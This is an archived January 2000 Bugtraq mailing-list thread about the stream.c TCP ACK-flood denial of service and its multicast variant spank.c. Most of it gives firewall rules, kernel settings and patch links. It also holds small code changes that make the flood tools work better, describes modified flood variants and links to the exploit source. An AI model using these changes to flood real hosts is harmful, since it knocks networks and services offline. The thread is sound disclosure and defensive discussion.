21 Jan 2000 18:52:54 -0600 Subject: Fwd: Re: Fwd: Re: explanation and code for stream.c issues From: Tim Yardley To: BUGTRAQ@SECURITYFOCUS.COM The rulesets that were suggested by Darren Reed forgot to include the outgoing connections. this is the updated rulesets... block in quick proto tcp from any to any head 100 pass in quick proto tcp from any to any flags S keep state group 100 pass out proto tcp from any to any flags S keep state pass in all Brian Kraemer pointed this out with the following paragraph: :: FYI this ruleset (with no other rules applied) will also effectively block :: any outgoing TCP sessions initiated from this machine. The machine will :: send a SYN, and then get blocked because the input rules never saw an :: incoming SYN to start keeping state. Thus, the ruleset should be revised. /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ From vlad@sandy.ru Sat Apr 29 17:32:24 2000 Date: Sat, 22 Jan 2000 13:41:35 +0300 Subject: Re: explanation and code for stream.c issues From: Vladimir Dubrovin To: BUGTRAQ@SECURITYFOCUS.COM Hello Tim Yardley, 21.01.00 22:15, you wrote: explanation and code for stream.c issues; >>T> -- start rule set -- >>T> block in quick proto tcp from any to any head 100 >>T> pass in quick proto tcp from any to any flags S keep state group 100 >>T> pass in all >>T> -- end rule set -- >> >>Attack can be easily changed to send pair SYN and invalid SYN/ACK My mistake here - SYN/ACK packet isn't required. Sorry, i wrote this message after 11 hours of work. Intruder sends SYN packet and then sends, lets say 1000 ACK packets to the same port from same port and source address. SYN packet will open ipfilter to pass all others packets. This attack doesn't need randomization for each packet. By the way - published stream.c doesn't use ACK bit at all. packet.tcp.th_flags = 0; It looks like usual flooder and can be easily filtered with ipfw by blocking packets without any flags set (this packets are invalid for TCP). allow tcp from any to any tcpflags ack allow tcp from any to any tcpflags syn allow tcp from any to any tcpflags syn,ack deny tcp from any to any Attached is patched stream.c which sends (SYN packet + 1023 ACK packets) from random port and source. This ipfw rule and published ipfilter rule will be unusable against this attack. In my current location i can't test it. T> As was mentioned in the "advisory/explanation" on the issue, ipfw cannot T> deal with the problem due to the fact that it is stateless. T> The attack comes from random ip addresses, therefore throttling like that T> only hurts your connection or solves nothing at all. In other words, the T> random sourcing and method of the attack, makes a non-stateless firewall T> useless. It would be better if you reed the rule before answering. Of cause, ipfw can't find invalid ACK packets. But if OS supports DUMMYNET option ipfw can be used to limit the number of packets in a fixed amount of time. In this case: ipfw pipe 10 config delay 50 queue 500 packets ipfw add pipe 10 tcp from any to $MYHOST in via $EXTERNAL we limit router ro only allow 500 TCP packets in every 50ms. Average size of tcp packet is approx. 500 bytes (you can test it). So, you allow bandwidth of 40M pbs for standard TCP traffic. But this rule will effectively block any spoofing attack which uses small packets. If 50-bytes packets are used this rule will allow only bandwith 4M bps for such attack. Not only "ACK" attack, but any flood. We didn't check source, so we closed against any spoofing. Of cause in this case you will loose TCP packets during an attack and connections can be dropped, but at least your host will be safe. As it was pointed, _any_ packet filter, including ipfilter, can't solve this problem completely. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ [ Part 2, Application/OCTET-STREAM (Name: "stream.c") 10KB. ] [ Unable to print this part. ] From vlad@sandy.ru Sat Apr 29 17:32:25 2000 Date: Sat, 22 Jan 2000 14:14:29 +0300 Subject: Re: explanation and code for stream.c issues From: Vladimir Dubrovin To: BUGTRAQ@SECURITYFOCUS.COM Hello Don Lewis, 22.01.00 13:58, you wrote: explanation and code for stream.c issues; D> } Intruder sends SYN packet and then sends, lets say 1000 ACK packets to D> } the same port from same port and source address. SYN packet will open D> } ipfilter to pass all others packets. This attack doesn't need D> } randomization for each packet. D> Instead of producing RST responses, this will produce ACKs. Your earlier D> comment about this prompted my comment in another thread about the D> possible need to rate limit ACK packets. This will not produce ACK packets, if ACK send by intruder doesn't conform sequence number in the SYN/ACK response of victim. Original stream.c used packet.tcp.th_ack = 0; i changed to packet.tcp.th_ack = random(); for ACK packets. But it's not principial - victim will reply RST for this packet in most cases. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ From yardley@UIUC.EDU Sat Apr 29 17:32:25 2000 Date: Fri, 21 Jan 2000 17:29:45 -0600 Subject: Re: explanation and code for stream.c issues From: Tim Yardley To: BUGTRAQ@SECURITYFOCUS.COM >>If you use ipfilter... ANY stateful (state based) firewall can be used to stop this as the intermediate fix. I apologize for not making that clear. >>Otherwise, wait for vendor patches. >> >>FreeBSD "unofficial patch" by Alfred Perlstein: >>http://www.freebsd.org/~alfred/tcp_fix.diff The vendor patches should consist of RST bandwidth limiting and a few optimizations (to help a little more). The patches should take them all of a few hours at most. >> packet.tcp.th_flags = 0; > >change this to a little different effect: > >packet.tcp.th_flags = TH_ACK; I have been getting mailed a lot about this. Here is why I said the previous statement. Receiving a packet with no flags is considered an illegal packet (obviously) and is often dumped, however, as we have seen in the past.. illegal packets often wreak havoc and often go untested. There is very little that "raped.c" or "stream.c" show as problems in the TCP/IP stacks. The true problem lies more in the effects of the response (caused by the attack). This is the same concept as the SYN floods of yesteryear, and the same type of thing will be done to handle it. The main difference is that it will be on a simpler note because there isn't much need for a "cookie" based system. One should just throttle the response of the reset packets which in turn will help stop the storm that you generate. The main effect of this attack is that you are shooting back RST's at all the spoofed hosts. Obviously, a lot of these hosts will not exist and you will get ICMP unreaches (as an example) bounced back at you. There are other possibilities as well, but unreach would be the most common (redirects might be common as well although i did not spend the time to analyze that). The ones that don't respond back may send you some packets back as well (depending on if the port was valid or not and what their firewall rules are). This causes a nice little storm of packets, in the ideal case. Note that I said ideal case in the previous paragraph. This is not always the observed behavior. It all depends on what is on the subnet, what type of packets are recieved, what rules and filters you have setup, and even the duration of the flood. It has been pointed out several times that the machine will go back to normal once the attack is stopped, which is exactly why something like RST_BANDLIM will work. I have also been asked a lot about what this "bug" affects. I have seen it have effects on *BSD, Linux, Solaris, and Win* as far as OS's go. It has also seemed to affect some hubs, switches, routers, or gateways since entire subnets have "disappeared" briefly after the attack. I don't have more specifics on it since I do not directly know the people that operated those networks, it was just discovered in the testing period. It should be noted that FreeBSD 3.4 and -CURRENT both have the TCP_RESTRICT_RST option. You can turn on tcp_restrict_rst by recompile your kernel with option TCP_RESTRICT_RST and then turn on tcp_restrict_rst in /etc/rc.conf. I hope that this helps, or explains a little more at least. /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ From chrome@UK.MODEMPOPPE.COM Sat Apr 29 17:32:25 2000 Date: Sat, 22 Jan 2000 02:23:30 -0000 Subject: Re: explanation and code for stream.c issues From: Nathan Ollerenshaw To: BUGTRAQ@SECURITYFOCUS.COM Both were test on solaris 2.6 and Linux 2.2.12 (redhat 6.1) I was unable to demonstrate any system instability whilst these systems were under attack. -- Nathan Ollerenshaw - Systems Administrator Modem Media . Poppe Tyson - www.mmpt.co.uk ph +44 171 874 9400 - fax +44 171 874 9555 > -----Original Message----- > From: Bugtraq List [mailto:BUGTRAQ@SECURITYFOCUS.COM]On Behalf Of Tim > Yardley > Sent: Friday, January 21, 2000 5:25 PM > To: BUGTRAQ@SECURITYFOCUS.COM > Subject: explanation and code for stream.c issues From guy@GIZMOZ.COM Sat Apr 29 17:32:25 2000 Date: Sun, 23 Jan 2000 10:36:02 +0200 Subject: Re: stream.c - new FreeBSD exploit? From: Guy Cohen To: BUGTRAQ@SECURITYFOCUS.COM [ The following text is in the "windows-1252" character set. ] [ Your display is set for the "iso-8859-1" character set. ] [ Some characters may be displayed incorrectly. ] It's a pity to attach FreeBSD to this exploit, as it obviously isn't specific to just the FreeBSD stack. I wish the FUD would just go away sometimes. On Friday evening i tried to test the exploit from one of my work stations going past FW-1 4.0 (on Solaris7-x86) to my home linux box, packets did not past the firewall spoofing rules. But that's not the case. I forgot the program running ... coming to work today finding my firewall load averages very high, CPU is 0.0% idle and kernel at 80%-90%. From dino@CAREYWEB.COM Sat Apr 29 17:32:25 2000 Date: Fri, 21 Jan 2000 17:40:08 -0500 Subject: stream.c From: Dino Amato To: BUGTRAQ@SECURITYFOCUS.COM [ Part 1, Text/PLAIN (charset: Unknown "Windows-1252") 12 lines. ] [ Unable to print this part. ] [ The following text is in the "Windows-1252" character set. ] [ Your display is set for the "iso-8859-1" character set. ] [ Some characters may be displayed incorrectly. ] HI- Well I compiled stream.c under RedHAt 6.1 and ran it against a NT 4.0 box w/sp5 on it and it brought it to a crawl cpu wise and it disconnected my modem off the internet. I cancelled it the attack against myself because I didnt feel liek waiting to reboot my machine ;) Any thoughts?    --------------------------------------------  Dino Amato -------------------------------------------- From Don.Lewis@TSC.TDK.COM Sat Apr 29 17:32:25 2000 Date: Sat, 22 Jan 2000 02:58:44 -0800 Subject: Re: explanation and code for stream.c issues From: Don Lewis To: BUGTRAQ@SECURITYFOCUS.COM On Jan 22, 1:41pm, Vladimir Dubrovin wrote: } Subject: Re[2]: explanation and code for stream.c issues } >>Attack can be easily changed to send pair SYN and invalid SYN/ACK } } My mistake here - SYN/ACK packet isn't required. Sorry, i wrote this } message after 11 hours of work. Only 11 hours, I've been here for 22, minus a couple hours of breaks. } Intruder sends SYN packet and then sends, lets say 1000 ACK packets to } the same port from same port and source address. SYN packet will open } ipfilter to pass all others packets. This attack doesn't need } randomization for each packet. Instead of producing RST responses, this will produce ACKs. Your earlier comment about this prompted my comment in another thread about the possible need to rate limit ACK packets. } By the way - published stream.c doesn't use ACK bit at all. } packet.tcp.th_flags = 0; There was a correction published that changed this to set the ACK bit. From yardley@UIUC.EDU Sat Apr 29 17:32:25 2000 Date: Tue, 25 Jan 2000 09:39:47 -0600 Subject: multicasts from hell From: Tim Yardley To: BUGTRAQ@SECURITYFOCUS.COM a new look... multicasts from hell.. courtesy of spank.c by Tim Yardley [yardley@uiuc.edu -- lst @ efnet] --------------------------------------------------- :: temp remedy (exec summary) --------------------------------------------------- If you use ipfilter... This *MAY* help you... but the issue is quite a bit different than the previous issue. -- start rule set -- block in quick proto tcp from any to any head 100 block in quick proto tcp from 224.0.0.0/28 to any group 100 pass in quick proto tcp from any to any flags S keep state group 100 pass out proto tcp from any to any flags S keep state pass in all -- end rule set -- optionally, a rule like the following could be inserted to handle outgoing packets (if they send from the firewall somehow) but you have bigger problems than the attack if that is the case. -- start additional rule -- block out proto tcp from any to 224.0.0.0/28 -- end additional rule -- That will help you "stop" the attack (actually it will just help minimize the affects), although it will still use some CPU though Note: If you use IPFW, there is no immediate way to solve this problem due to the fact that it is a stateless firewall and you are dealing with packets that are being forged with invalid (or possibly even valid flags). You can however use IPFW or any other firewall to block out packets from multicasts. If you are getting attacked, then temporarily use ipfilter (or any other state based firewall) to slow the affects, ie keep track of the states. Otherwise, wait for vendor patches or read more about the explanation for other possible workarounds. -- ipfw rule for multicasts (with cars for the command and interface -- change accordingly) --- $fwcmd add deny all from 224.0.0.0/28 to any via ${oif} -- end ipfw rule -- FreeBSD "unofficial patch" by Don Lewis: http://solid.ncsa.uiuc.edu/~liquid/patch/don_lewis_tcp.diff ------------------------------------------------ :: explanation of spank.c attack ------------------------------------------------ NOTE: For this attack to work, you must have multicast enabled on the network that you are attacking from, otherwise the packets should just get dropped. The adverse affect of this, is that it seems to destroy the local net, and the affect on the remote net is unknown (since the localnet dies too quickly). This could become a problem with distributed DoS systems because if a host on your internal net is compromised, then they can bring your entire internal net down to a screaching halt. This is a tad different than the previous release. Stream/Raped mearly flooded the host with ack's (or no flags) and came from random ips with random sequence numbers and/or ack numbers. The difference now is that this not only does the previous stuff, but also directly attacks from and to multicast addresses as well. There are also options to randomize the attack more. Just as before, rate limiting should be done to counteract its effect (the same idea as ICMP_BANDLIM).. and also the multicast handling in the stack should be checked to verify that it is behaving properly. The attacker specifies the port[s] that they want to send the attack to, depending on what ports are selected, you will have different net results. If the port is an open port, then you will possibly have a longer kernel path to follow before the drop. Therefore, a smart attacker will hit open ports, but havoc can also come about from random ports due to states and processing. In the best case scenario, you will experience only the lag of the flood and the lag of the processing (currently) and then be fine when the attacker stops, In the worst case, you lockup, kill the network, and possibly have to reboot. Once you patch it, you deal with a lot less processing time (the drops are handled without the RST flag when appropriate -- bandlim type idea). In other words, you go to the drop routine instead of dropwithrst silencing your response, which decreases your processing time, the hit on your network, and the effect of the flood (once a threshold is reached, all those bad packets are silently dropped and the attack has less of a net effect). There are issues with not producing RST's since they were put into the specs for a reason, so blindly dropping all RST's is not a good plan. The filters that were presented at the beginning of this email will block all multicast packets that come in (and possibly out) of the tcp stack. I have been getting mailed a lot about the previous attack. It should be noted that receiving a packet with no flags is considered an illegal packet (obviously) and is often dumped, however, as we have seen in the past.. illegal packets often wreak havoc and often go untested. Hence the reasoning behind the '-r' flag of this. There is very little that "raped.c" or "stream.c" actually showed as problems in the TCP/IP stacks. The true problem lies more in the effects of the response (caused by the attack). This is the same concept as the SYN floods of yesteryear, and the same type of thing will be done to handle it. The main difference is that it will be on a simpler note because there isn't much need for a "cookie" based system. One should just throttle the response of the reset packets which in turn will help stop the storm that you generate and in general, harden the tcp/ip stack to behave the way it is supposed to in adverse conditions. The main effect of this attack is that you are shooting back RST+ACK's at all the spoofed hosts. In the case of the new attacks, this happens to mean that you are directing them at multicast addresses. Obviously, a lot of these hosts will not exist and you will get ICMP unreaches (as an example) bounced back at you. There are other possibilities as well, but unreach would be the most common (redirects might be common as well although i did not spend the time to analyze that). The ones that don't respond back may send you some packets back as well (depending on if the port was valid or not and what their firewall rules are). This type of attack is complicated by the multicasts, and the effect is amplified as well. All in all, it becomes very nasty very quick. Basically, this causes a nice little storm of packets, in the ideal case. Note that I said ideal case in the previous paragraph. This is not always the observed behavior. It all depends on what is on the subnet, what type of packets are recieved, what rules and filters you have setup, and even the duration of the flood. It has been pointed out several times that the machine will go back to normal once the attack is stopped, which is exactly why something like ICMP_BANDLIM will work. I have also been asked a lot about what this "bug" affects. I have seen it have effects on *BSD, Linux, Solaris, and Win* as far as OS's go (due to the previous stuff). The new multicast code seems to affect the local lan (routers, gateways, and switches) more so than it affects anything else but due to how it works (when it works), it is somewhat difficult to test. Therefore, no blame is being directly placed on any specific platform or architecture. Entire subnets have "disappeared" briefly after the attack and have required route purgings to correct the issue. The multicast attack seems to be more deadly to the network than the previous attack and its affects get amplified and even carried over to the rest of the network (bypassing secluded network bounds). I don't have more specifics on the systems affected because of the difficulty in testing it (and keeping the network up) since I do not have local access to the networks that I tested on, and remote access gets real ugly real fast. Everyone elses mileage may vary... but I have seen results under 2 different types of configurations. Another possibility that has been suggested as to why some machines die is that the machine's route table is being blown up by the spoofed packets. Each spoofed packet has a different source address which means that a temporary route table entry is being created for each one. These entries take time to timeout. Use 'vmstat -m' and check the 'routetbl' field while the attack is going on. Route table entries can be controlled somewhat under freebsd with: [root@solid]::[~] sysctl -a | fgrep .rt net.inet.ip.rtexpire: 3600 net.inet.ip.rtminexpire: 10 net.inet.ip.rtmaxcache: 128 You can do the following, to help if the route table is at least part of the problem: sysctl -w net.inet.ip.rtexpire=2 sysctl -w net.inet.ip.rtminexpire=2 Things that will help: 1 -- drop all multicast packets (ingress and egress) that are addressed to the tcp stack because multicasts are not valid for tcp 2 -- extend bandwidth limiting to include RST's, ACK's and anything else that you feel could affect the stability of the machine. 3 -- dont look for listening sockets if the packet is not a syn I hope that this helps, or explains a little more at least. ----------------------- :: conclusion ----------------------- This bug was found in testing. It seems a bit more lethal than the previous and should be addressed as such. Patches should be available now, but I do not follow all the platforms. -------------------- :: references -------------------- This was done independantly, although some of the analysis and reverse engineering of concept was done by other people. As a result, I would like to give credit where credit is due. The following people contributed in some way or another: Brett Glass Alfred Perlstein Warner Losh Darren Reed Don Lewis Also, I would like to send shouts out to w00w00 (http://www.w00w00.org/) ------------------- :: attached ------------------- These programs are for the sake of full disclosure, don't abuse them. Spank was written with libnet, so you will need to obtain that as well. for an "unofficial" patch: http://solid.ncsa.uiuc.edu/~liquid/patch/don_lewis_tcp.diff for spank.c: http://solid.ncsa.uiuc.edu/~liquid/code/spank.c NOTE: These are just temp locations. They will not be there forever and I reserve the right to remove them at anytime. /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ From vanja@relaygroup.com Sat Apr 29 17:32:25 2000 Date: Tue, 25 Jan 2000 22:25:40 +0700 Subject: Stream.c needs more clarification From: Vanja Hrustic To: BUGTRAQ@SECURITYFOCUS.COM I'm really confused (as some other people I've talked to are), and I'd be happy if someone can clarify few things. I have been told that I must be on 100Mbit LAN in order to 'exploit' this vulnerability. The result is: slow response time from the victim machine. In some cases (as I have been told), work on console (be it X, or text mode) is slowed down, while in other cases the victim machine can not do any work over the network (it can't be pinged, it can't ping out, etc.). No crashes, no kernel panic. Well, if I am sending 100-150,000 packets in a second to some machine, I wouldn't expect it to be reachable. Anyway... take the old 'oshare.c' source, modify these 2 lines: ip->ihl = rand() % 16; ip->tot_len = rand() % 0xffff; (this has been posted to Bugtraq in January '99, by "DEF CON ZERO WINDOW "; similar modifications have been made to 'oshare.c' by some other people, around the same time, for testing of oshare & NT). Now compile it, and run on local LAN against NT Server 4.0 (tested w/ SP6a) - you'll have an NT Server acting like ZX81 (when it comes to 'speed'of NT Server - not the link). On a 10Mbit LAN. So, is this as big problem as 'stream.c' is? I am not a network engineer, and I am really confused with this. Link is just a 'pipe', and if you fill it, it's expected that you won't be able to ping anyhing (try downloading 500Mb file over local LAN, no matter what the speed of the LAN is, and no bandwidth limitations either) 1. Does 'stream.c' problem exist *only* on 100Mbit LAN (as I've been told by some people), or it is supposed to harm systems 'remotely' (over the net, on speeds up to 2Mbit or so)? 2. Does it affect only FreeBSD or not? 3. Did anybody actually manage to do some harm using exploits posted on Bugtraq? [either slightly/heavily modified, or the 'default' version] The answers to these questions will probably also help to the moderator of certain NT related mailing list who says: > Huge exploits, like stream.c or Trin00, go largely unreported by the > mainstream media, whereas a story about some popular software not > working securely on W2K could make it to CNN Headline News. Media > scale has little to do with The Real World(TM). This may be Although these 'huge exploits' examples are silly, it's worth noting that people do think that 'stream.c' is a huge one. Is it? Thanks. -- Vanja Hrustic SAFER Editor SAFER - free monthly security newsletter Subscriptions at http://safer.siamrelay.com